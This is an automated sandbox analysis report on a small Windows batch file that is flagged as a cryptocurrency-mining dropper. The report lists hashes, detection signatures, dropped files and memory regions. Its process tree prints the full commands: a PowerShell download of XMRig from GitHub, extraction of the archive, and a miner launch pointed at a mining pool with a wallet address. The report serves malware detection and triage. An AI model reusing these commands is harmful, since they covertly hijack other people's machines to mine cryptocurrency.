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Analysis

  • max time kernel
    1795s
  • max time network
    1799s
  • platform
    windows10-1703_x64
  • resource
    win10-20231220-en
  • resource tags

    arch:x64arch:x86image:win10-20231220-enlocale:en-usos:windows10-1703-x64system
  • submitted
    23/01/2024, 19:07

General

  • Target

    tesy - Copy (5).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (5).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:308
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:216
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5076
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:3760

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    6edd8f1400a520d9f8ca7f774c36b592

    SHA1

    619fac6dbe6263f46a8ee2dabb802c0570e3b761

    SHA256

    0ec9cdabc418bdf08a7b358e834be2c475cadb06dad0e775cfddf497ffd9eccb

    SHA512

    b4b93fadb5143908b66e57b6345aa1860e593a9f46fec457d1f01763c39ee4931461698464acce58effaf58162e2855e4a21c0b543d5a3b0f418783ac3a7747e

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cjottxn4.kqd.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    954KB

    MD5

    b9538ab92116cab707b3c6fca6a7be8a

    SHA1

    2795e5b3e7ad0d3a2bac9e9a82f2a47850f2d943

    SHA256

    4a755cae05a081fd1058a578e2d39178e4e1c7b5cea54f8c6667233634533c8f

    SHA512

    ee64d51999f7d66ea144cd53b583b219cdb60a4345226a32659127feafe15e629416724f3e7a4ed10cfcdcdb3a5c94ae3760b6b6747855f5d821544d5bbb10ed

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    425KB

    MD5

    eca96dcf6da43c16ffd7224520d8d936

    SHA1

    256db863dd92dc415b02a85e291395b1e349638c

    SHA256

    da1f224ec29755f0943caa28b08d57620134ff9adffef896c1449dbaca2ace8f

    SHA512

    465c06cad3c3cffcb682d979cb62115f1d75891419a5a78d07ea6d512646ab3bd988605de14e8929905d4a23d9c6f00e4a5a43b627c34a2ebf60f95630c0f67e

  • memory/216-4-0x00007FFAF9490000-0x00007FFAF9E7C000-memory.dmp

    Filesize

    9.9MB

  • memory/216-6-0x00000292AD3F0000-0x00000292AD400000-memory.dmp

    Filesize

    64KB

  • memory/216-7-0x00000292AD3F0000-0x00000292AD400000-memory.dmp

    Filesize

    64KB

  • memory/216-5-0x0000029294F90000-0x0000029294FB2000-memory.dmp

    Filesize

    136KB

  • memory/216-10-0x00000292AD300000-0x00000292AD376000-memory.dmp

    Filesize

    472KB

  • memory/216-25-0x00000292AD3F0000-0x00000292AD400000-memory.dmp

    Filesize

    64KB

  • memory/216-30-0x00007FFAF9490000-0x00007FFAF9E7C000-memory.dmp

    Filesize

    9.9MB

  • memory/3760-142-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-147-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-184-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-183-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-182-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-181-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-180-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-117-0x000001CE08BF0000-0x000001CE08C10000-memory.dmp

    Filesize

    128KB

  • memory/3760-118-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-119-0x000001CE0A3C0000-0x000001CE0A3E0000-memory.dmp

    Filesize

    128KB

  • memory/3760-120-0x000001CE0A3E0000-0x000001CE0A400000-memory.dmp

    Filesize

    128KB

  • memory/3760-121-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-122-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-123-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-124-0x000001CE0A3C0000-0x000001CE0A3E0000-memory.dmp

    Filesize

    128KB

  • memory/3760-125-0x000001CE0A3E0000-0x000001CE0A400000-memory.dmp

    Filesize

    128KB

  • memory/3760-126-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-127-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-128-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-129-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-130-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-131-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-132-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-133-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-134-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-135-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-136-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-137-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-138-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-139-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-140-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-141-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-116-0x000001CE089A0000-0x000001CE089C0000-memory.dmp

    Filesize

    128KB

  • memory/3760-143-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-144-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-145-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-146-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-179-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-148-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-149-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-150-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-151-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-152-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-153-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-154-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-155-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-156-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-157-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-158-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-159-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-160-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-161-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-162-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-163-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-164-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-165-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-166-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-167-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-168-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-169-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-170-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-171-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-172-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-173-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-174-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-175-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-176-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-177-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/3760-178-0x00007FF7EB260000-0x00007FF7EBD63000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-39-0x000002A9DB0B0000-0x000002A9DB0C0000-memory.dmp

    Filesize

    64KB

  • memory/5076-38-0x00007FFAF9490000-0x00007FFAF9E7C000-memory.dmp

    Filesize

    9.9MB

  • memory/5076-76-0x000002A9DB440000-0x000002A9DB452000-memory.dmp

    Filesize

    72KB

  • memory/5076-89-0x000002A9DB090000-0x000002A9DB09A000-memory.dmp

    Filesize

    40KB

  • memory/5076-62-0x000002A9DB0B0000-0x000002A9DB0C0000-memory.dmp

    Filesize

    64KB

  • memory/5076-40-0x000002A9DB0B0000-0x000002A9DB0C0000-memory.dmp

    Filesize

    64KB

  • memory/5076-113-0x00007FFAF9490000-0x00007FFAF9E7C000-memory.dmp

    Filesize

    9.9MB